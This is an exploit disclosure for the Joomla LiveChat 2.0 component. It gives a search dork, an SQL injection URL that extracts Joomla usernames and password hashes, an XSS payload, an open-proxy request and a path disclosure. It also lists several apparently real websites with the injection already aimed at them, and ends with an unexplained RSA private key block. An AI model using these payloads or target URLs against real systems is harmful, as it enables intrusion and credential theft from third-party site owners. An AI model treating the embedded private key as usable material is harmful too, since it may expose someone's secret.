Joomla LiveChat 2.0 XSS & SQL Injection

2013.01.08
Credit: Ur0b0r0x
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89
CWE-79

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Author: Ur0b0r0x # Tiwtte: @Ur0b0r0x # Email: ur0b0r0x_@live.com # Line: GreyHat # Home: ur0b0r0x.blogspot.com # Exploit Title: Joomla Component - LiveChat 2.0 Multilpes Vulnerabilities # Dork: inurl:/components/com_livechat/ # Date: 05/01/2013 # Author: Ur0b0r0x # info1:CVE-2008-6883 # info2:CVE-2012-6884 # Url Vendor: http://www.joompolitan.com/livechat.html # Vendor Name: LiveChat # Tested On: Backtrack R3 / Linux Mint # Type: php ------------------- Agreement -------------------- [29/12/2012] - Vulnerability discovered [04/01/2013] - Vendor notified Dont responsed [05/01/2013] - Public disclosure -------------------------------------------------- # info1:CVE-2008-6883 Exploit/Sql:=> getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users Explit/ Open Proxy:=> administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com # info2:CVE-2012-6884 Exploit/Xss:=> getChat.php?chat=0&last="><img src=x onerror=alert('XSS') /> Exploit/Disclosure:=> /home/site.com/public_html/administrator/components/com_livechat/ #Samples/Sql/Xss/OpenProxy/Xss http://www.camarahotel.infocyclades.com/administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users http://www.swissrack.ch/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users http://www.radioviva.com.co/portal/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users http://pmsicom.net/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%20%29%20%29%E2%80%8B,3%20from%20jos_users http://www.salento-casevacanze.it/administrator/components/com_livechat/getChat.php?chat= http://www.perledipuglia.it/administrator/components/com_livechat/getChat.php?chat= http://www.lucidtechnology.net/administrator/components/com_livechat/getChat.php?chat= http://jatidiri.prophp.org/administrator/components/com_livechat/getChat.php?chat= -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi 2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8 GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/ WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R 8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM 8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/ -----END RSA PRIVATE KEY-----


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